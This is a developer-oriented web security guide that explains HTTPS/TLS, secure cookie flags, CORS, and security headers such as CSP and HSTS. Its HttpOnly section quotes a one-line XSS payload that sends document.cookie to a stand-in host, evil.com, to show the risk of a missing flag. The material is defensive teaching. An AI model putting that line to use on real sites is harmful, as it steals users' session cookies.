Web Security Fundamentals — What Every Developer Must Know
A practical guide to HTTP vs HTTPS, TLS, cookies, CORS, same-origin policy, and security headers — the building blocks every developer needs before writing a single line of auth code.
Why This Matters Before You Write Any Code
Security is not a feature you bolt on at the end. It is a property of how the web itself works. Before you touch authentication, authorization, or any kind of user data, you need to understand the plumbing — the protocols, the browser rules, and the HTTP headers that form the first line of defense.
This guide is intentionally practical. Every concept comes with a real-world example.
HTTP vs HTTPS — The Fundamental Difference
HTTP (HyperText Transfer Protocol) sends data as plain text across the network. Anyone on the same Wi-Fi network, any router in the path, or any ISP can read every byte — including passwords, session cookies, and credit card numbers.
HTTPS wraps HTTP inside TLS (Transport Layer Security). The data is encrypted before it leaves your machine. Even if someone intercepts the packets, they see scrambled bytes they cannot read.
HTTP request on public Wi-Fi:
GET /login HTTP/1.1
Authorization: Basic dXNlcjpwYXNzd29yZA== ← this is just base64, trivially decoded
HTTPS request on public Wi-Fi (what an attacker sees):
���▓♦☺╗╔�▀x◄♦►╗... ← TLS-encrypted, useless to the attackerRule: Every production website must use HTTPS. Browsers mark HTTP sites as "Not Secure". Search engines penalize them. Users distrust them.
What TLS Actually Does
TLS does three things:
- Encryption — the data cannot be read by anyone except the two endpoints.
- Integrity — the data cannot be modified in transit without detection.
- Authentication — you are actually talking to the real server, not an impersonator.
When your browser connects to https://example.com, a TLS handshake happens in milliseconds. The server presents a certificate — a signed document that proves its identity. Your browser checks that certificate against a list of trusted Certificate Authorities (CAs) it ships with. If the certificate is valid, the connection proceeds.
We cover TLS in depth in the HTTPS & TLS article.
Cookies — What They Are and How to Secure Them
A cookie is a small piece of data the server sends to the browser, which the browser then sends back on every subsequent request. This is how servers remember who you are between requests (HTTP itself is stateless).
HTTP/1.1 200 OK
Set-Cookie: session_id=abc123xyz; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600There are three critical security flags every auth-related cookie must have:
HttpOnly
Prevents JavaScript from reading the cookie. Without this, a Cross-Site Scripting (XSS) attack can steal the cookie with one line:
// Attacker's injected script — this ONLY works if HttpOnly is missing
document.location = 'https://evil.com/steal?cookie=' + document.cookie;With HttpOnly, document.cookie does not include that cookie. Theft blocked.
Secure
Tells the browser to only send this cookie over HTTPS connections. Without it, the cookie can be transmitted in plain text over HTTP — even if your site normally uses HTTPS, a network attacker can downgrade the connection.
SameSite
Controls whether the cookie is sent on cross-site requests. This prevents Cross-Site Request Forgery (CSRF) attacks.
| Value | Behavior |
|-------|----------|
| Strict | Cookie only sent if the request originates from your own site. Safest. |
| Lax | Cookie sent on same-site requests and top-level navigations. Good default. |
| None | Cookie sent on all requests (requires Secure). Needed for third-party auth flows. |
Safe default for session cookies: HttpOnly; Secure; SameSite=Lax
CORS — Cross-Origin Resource Sharing
The Problem CORS Solves
Imagine your frontend at https://app.example.com wants to fetch data from https://api.example.com. Those are different origins (different subdomain). By default, the browser blocks that request. This is the Same-Origin Policy in action.
CORS is the mechanism that lets servers opt in to allowing cross-origin requests — in a controlled way.
What "Origin" Means
An origin is the combination of scheme + host + port:
https://example.com:443 → origin A
http://example.com:443 → different origin (different scheme)
https://api.example.com → different origin (different host)
https://example.com:8080 → different origin (different port)How CORS Works
For simple GET requests, the browser adds an Origin header. The server responds with Access-Control-Allow-Origin. If the origins match (or the server says *), the browser lets the response through.
For "complex" requests (POST with JSON, custom headers, DELETE, etc.), the browser sends a preflight OPTIONS request first:
OPTIONS /api/users HTTP/1.1
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 86400The Security Rule
Never set Access-Control-Allow-Origin: * for endpoints that handle authentication or sensitive data. Wildcard allows any origin. Use an explicit allowlist of trusted origins.
// ASP.NET Core — correct approach
builder.Services.AddCors(options =>
{
options.AddPolicy("AllowFrontend", policy =>
policy.WithOrigins("https://app.example.com")
.AllowAnyMethod()
.AllowAnyHeader()
.AllowCredentials()); // required for cookies
});Security Headers — Your Last Line of Browser Defense
Security headers are HTTP response headers that tell the browser how to behave. They stop entire categories of attack.
Content-Security-Policy (CSP)
Tells the browser which sources of scripts, styles, images, and other resources are trusted. Defeats most XSS attacks even if an attacker injects a <script> tag.
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:;default-src 'self'— only load resources from your own origin by defaultscript-src 'self'— only execute scripts from your own origin (no inline scripts, no eval)- Adding a CDN to
script-srcallows scripts from that CDN specifically
Start with a strict policy and loosen only what you need.
X-Frame-Options
Prevents your page from being embedded in an <iframe> on another site. Without this, attackers can overlay your page with invisible frames to trick users into clicking buttons (clickjacking).
X-Frame-Options: DENYOr use the newer CSP equivalent: Content-Security-Policy: frame-ancestors 'none';
X-Content-Type-Options
Tells the browser not to guess (sniff) the content type of responses. Without this, a browser might execute a file uploaded as an image if it looks like JavaScript.
X-Content-Type-Options: nosniffAlways set this. There is no reason not to.
Strict-Transport-Security (HSTS)
Tells the browser to always use HTTPS for your domain — even if someone types http://. The browser will upgrade the request before it leaves the machine.
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadmax-age=31536000— remember for one yearincludeSubDomains— apply to all subdomains toopreload— submit your domain to the HSTS preload list (browsers ship with it)
Referrer-Policy
Controls what URL is sent in the Referer header when a user clicks a link to leave your site. Prevents leaking sensitive paths or query parameters.
Referrer-Policy: strict-origin-when-cross-originUsing DevTools to Inspect All of This
Open Chrome or Firefox DevTools (F12) and use these tabs:
Network tab:
- Click any request and look at the Headers subtab
- Request Headers: see
Origin,Cookie,Referer - Response Headers: see
Set-Cookie,Content-Security-Policy,Strict-Transport-Security,Access-Control-Allow-Origin
Application tab (Chrome) / Storage tab (Firefox):
- Cookies: see all cookies for the domain, including their flags (HttpOnly shows as a checkbox)
Security tab (Chrome):
- Shows the TLS certificate details, protocol version, and cipher suite used
Console:
- CORS errors appear here as red messages when the browser blocks a cross-origin request
- CSP violations appear as warnings showing what was blocked and why
Quick Reference Checklist
Before you ship any feature involving user data:
- [ ] Site serves over HTTPS only (no HTTP fallback for sensitive paths)
- [ ] Session cookies have
HttpOnly,Secure,SameSite=Lax(orStrict) - [ ] CORS allows only known, trusted origins — no wildcard for authenticated endpoints
- [ ]
Content-Security-Policyheader is set and tested - [ ]
X-Frame-Options: DENYor CSPframe-ancestorsis set - [ ]
X-Content-Type-Options: nosniffis set - [ ]
Strict-Transport-Securityis set with a reasonable max-age - [ ]
Referrer-Policyis set to avoid leaking URLs
These seven checks cost minutes and prevent entire categories of attack. Make them part of every deployment.
Enjoyed this article?
Explore the Security & Compliance learning path for more.
Found this helpful?
Leave a comment
Have a question, correction, or just found this helpful? Leave a note below.